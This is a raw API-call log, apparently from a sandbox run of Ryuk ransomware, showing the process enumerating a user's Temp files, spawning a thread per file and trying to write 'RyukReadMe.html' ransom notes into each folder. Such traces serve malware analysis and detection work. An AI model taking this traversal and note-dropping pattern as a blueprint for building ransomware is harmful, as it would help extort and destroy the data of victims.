	[0207.003] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1f68b270, ftCreationTime.dwHighDateTime=0x1d5ba9b, ftLastAccessTime.dwLowDateTime=0x1a90ef70, ftLastAccessTime.dwHighDateTime=0x1d5b7d9, ftLastWriteTime.dwLowDateTime=0x1a90ef70, ftLastWriteTime.dwHighDateTime=0x1d5b7d9, nFileSizeHigh=0x0, nFileSizeLow=0x1788a, dwReserved0=0x210, dwReserved1=0x0, cFileName="qSjd7SgYFb_k4OKYS.mp3", cAlternateFileName="QSJD7S~1.MP3")) returned 1
	[0207.003] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0207.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594
	[0207.007] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.007] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc4fe2d0, ftCreationTime.dwHighDateTime=0x1d5bf18, ftLastAccessTime.dwLowDateTime=0xf6e93450, ftLastAccessTime.dwHighDateTime=0x1d5c558, ftLastWriteTime.dwLowDateTime=0xf6e93450, ftLastWriteTime.dwHighDateTime=0x1d5c558, nFileSizeHigh=0x0, nFileSizeLow=0xef7b, dwReserved0=0x210, dwReserved1=0x0, cFileName="QwBhM.odt", cAlternateFileName="")) returned 1
	[0207.008] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0207.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598
	[0207.012] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.012] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda7c5000, ftCreationTime.dwHighDateTime=0x1d5bed1, ftLastAccessTime.dwLowDateTime=0x986d0b30, ftLastAccessTime.dwHighDateTime=0x1d5bd89, ftLastWriteTime.dwLowDateTime=0x986d0b30, ftLastWriteTime.dwHighDateTime=0x1d5bd89, nFileSizeHigh=0x0, nFileSizeLow=0x174dc, dwReserved0=0x210, dwReserved1=0x0, cFileName="RfdjvaFkFgE9qEv7bT.avi", cAlternateFileName="RFDJVA~1.AVI")) returned 1
	[0207.012] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0207.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c
	[0207.016] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.017] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x97d09680, ftCreationTime.dwHighDateTime=0x1d5bbfc, ftLastAccessTime.dwLowDateTime=0xe3815c70, ftLastAccessTime.dwHighDateTime=0x1d5bcc6, ftLastWriteTime.dwLowDateTime=0xe3815c70, ftLastWriteTime.dwHighDateTime=0x1d5bcc6, nFileSizeHigh=0x0, nFileSizeLow=0x4273, dwReserved0=0x210, dwReserved1=0x0, cFileName="rraEpi1SleocmER-.wav", cAlternateFileName="RRAEPI~1.WAV")) returned 1
	[0207.017] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0207.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0
	[0207.021] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.022] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe5ab750, ftCreationTime.dwHighDateTime=0x1d5b9d0, ftLastAccessTime.dwLowDateTime=0xa911ee20, ftLastAccessTime.dwHighDateTime=0x1d5c11b, ftLastWriteTime.dwLowDateTime=0xa911ee20, ftLastWriteTime.dwHighDateTime=0x1d5c11b, nFileSizeHigh=0x0, nFileSizeLow=0x13ae8, dwReserved0=0x210, dwReserved1=0x0, cFileName="Ry6fZp6K Kz.wav", cAlternateFileName="RY6FZP~1.WAV")) returned 1
	[0207.022] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0207.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a4
	[0207.028] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.028] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a7337b0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x1a7337b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x210, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0207.028] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b5b1910, ftCreationTime.dwHighDateTime=0x1d5b7e0, ftLastAccessTime.dwLowDateTime=0x492dbc50, ftLastAccessTime.dwHighDateTime=0x1d5bfa9, ftLastWriteTime.dwLowDateTime=0x492dbc50, ftLastWriteTime.dwHighDateTime=0x1d5bfa9, nFileSizeHigh=0x0, nFileSizeLow=0x17afa, dwReserved0=0x210, dwReserved1=0x0, cFileName="ss2b.mp4", cAlternateFileName="")) returned 1
	[0207.029] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0207.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8
	[0207.034] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.034] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1f7c4fa0, ftCreationTime.dwHighDateTime=0x1d5b768, ftLastAccessTime.dwLowDateTime=0xd8b68e0, ftLastAccessTime.dwHighDateTime=0x1d5bb22, ftLastWriteTime.dwLowDateTime=0xd8b68e0, ftLastWriteTime.dwHighDateTime=0x1d5bb22, nFileSizeHigh=0x0, nFileSizeLow=0x12c85, dwReserved0=0x210, dwReserved1=0x0, cFileName="TaYG.png", cAlternateFileName="")) returned 1
	[0207.034] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0207.035] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ac
	[0207.308] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.314] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0207.314] SetLastError (dwErrCode=0x0) 
	[0207.314] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.314] GetLastError () returned 0x3
	[0207.314] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0207.314] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.315] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0207.315] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0207.315] SetLastError (dwErrCode=0x0) 
	[0207.315] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.315] GetLastError () returned 0x3
	[0207.315] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0207.315] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.315] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a91d540, ftCreationTime.dwHighDateTime=0x1d5ba55, ftLastAccessTime.dwLowDateTime=0x64e8b180, ftLastAccessTime.dwHighDateTime=0x1d5b855, ftLastWriteTime.dwLowDateTime=0x64e8b180, ftLastWriteTime.dwHighDateTime=0x1d5b855, nFileSizeHigh=0x0, nFileSizeLow=0x175fa, dwReserved0=0x210, dwReserved1=0x0, cFileName="vH9Z9EVpRJYC.flv", cAlternateFileName="VH9Z9E~1.FLV")) returned 1
	[0207.315] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0207.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0
	[0207.320] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.321] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35812970, ftCreationTime.dwHighDateTime=0x1d5bb2c, ftLastAccessTime.dwLowDateTime=0x195810, ftLastAccessTime.dwHighDateTime=0x1d5bcae, ftLastWriteTime.dwLowDateTime=0x195810, ftLastWriteTime.dwHighDateTime=0x1d5bcae, nFileSizeHigh=0x0, nFileSizeLow=0x2d13, dwReserved0=0x210, dwReserved1=0x0, cFileName="w5FBdLdrSf.mkv", cAlternateFileName="W5FBDL~1.MKV")) returned 1
	[0207.321] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0207.322] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4
	[0207.326] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.327] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35825180, ftCreationTime.dwHighDateTime=0x1d5bec7, ftLastAccessTime.dwLowDateTime=0x7746e8a0, ftLastAccessTime.dwHighDateTime=0x1d5c4b8, ftLastWriteTime.dwLowDateTime=0x7746e8a0, ftLastWriteTime.dwHighDateTime=0x1d5c4b8, nFileSizeHigh=0x0, nFileSizeLow=0x14e68, dwReserved0=0x210, dwReserved1=0x0, cFileName="wLGrvY baLME.jpg", cAlternateFileName="WLGRVY~1.JPG")) returned 1
	[0207.327] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0207.328] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8
	[0207.331] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.332] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x57f4d770, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x57f4d770, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="WPDNSE", cAlternateFileName="")) returned 1
	[0207.332] SetLastError (dwErrCode=0x0) 
	[0207.332] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.332] GetLastError () returned 0x3
	[0207.332] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0207.332] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.332] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\WPDNSE\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0207.333] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0207.333] SetLastError (dwErrCode=0x0) 
	[0207.333] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\WPDNSE\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\wpdnse\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.333] GetLastError () returned 0x3
	[0207.333] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0207.333] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.333] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9411ab30, ftCreationTime.dwHighDateTime=0x1d5b745, ftLastAccessTime.dwLowDateTime=0xa781e0b0, ftLastAccessTime.dwHighDateTime=0x1d5b685, ftLastWriteTime.dwLowDateTime=0xa781e0b0, ftLastWriteTime.dwHighDateTime=0x1d5b685, nFileSizeHigh=0x0, nFileSizeLow=0x11b38, dwReserved0=0x210, dwReserved1=0x0, cFileName="xHyat.m4a", cAlternateFileName="")) returned 1
	[0207.333] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0207.334] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc
	[0207.338] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.338] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5308bed0, ftCreationTime.dwHighDateTime=0x1d5bf3d, ftLastAccessTime.dwLowDateTime=0x400f09c0, ftLastAccessTime.dwHighDateTime=0x1d5bad7, ftLastWriteTime.dwLowDateTime=0x400f09c0, ftLastWriteTime.dwHighDateTime=0x1d5bad7, nFileSizeHigh=0x0, nFileSizeLow=0xe9d9, dwReserved0=0x210, dwReserved1=0x0, cFileName="XZ-jXxH.flv", cAlternateFileName="")) returned 1
	[0207.339] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0207.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0
	[0207.343] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0207.344] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5308bed0, ftCreationTime.dwHighDateTime=0x1d5bf3d, ftLastAccessTime.dwLowDateTime=0x400f09c0, ftLastAccessTime.dwHighDateTime=0x1d5bad7, ftLastWriteTime.dwLowDateTime=0x400f09c0, ftLastWriteTime.dwHighDateTime=0x1d5bad7, nFileSizeHigh=0x0, nFileSizeLow=0xe9d9, dwReserved0=0x210, dwReserved1=0x0, cFileName="XZ-jXxH.flv", cAlternateFileName="")) returned 0
	[0207.344] FindClose (in: hFindFile=0x29ee60 | out: hFindFile=0x29ee60) returned 1
	[0207.344] SetLastError (dwErrCode=0x0) 
	[0207.344] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.344] GetLastError () returned 0x3
	[0207.344] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0207.345] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.345] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0207.345] SetLastError (dwErrCode=0x0) 
	[0207.345] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.345] GetLastError () returned 0x3
	[0207.345] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0207.345] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.345] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x210, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0207.345] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0207.345] SetLastError (dwErrCode=0x0) 
	[0207.345] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.346] GetLastError () returned 0x3
	[0207.346] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0207.346] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.346] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1
	[0207.346] SetLastError (dwErrCode=0x0) 
	[0207.346] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.346] GetLastError () returned 0x3
	[0207.346] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0207.346] CloseHandle (hObject=0xffffffffffffffff) returned 0
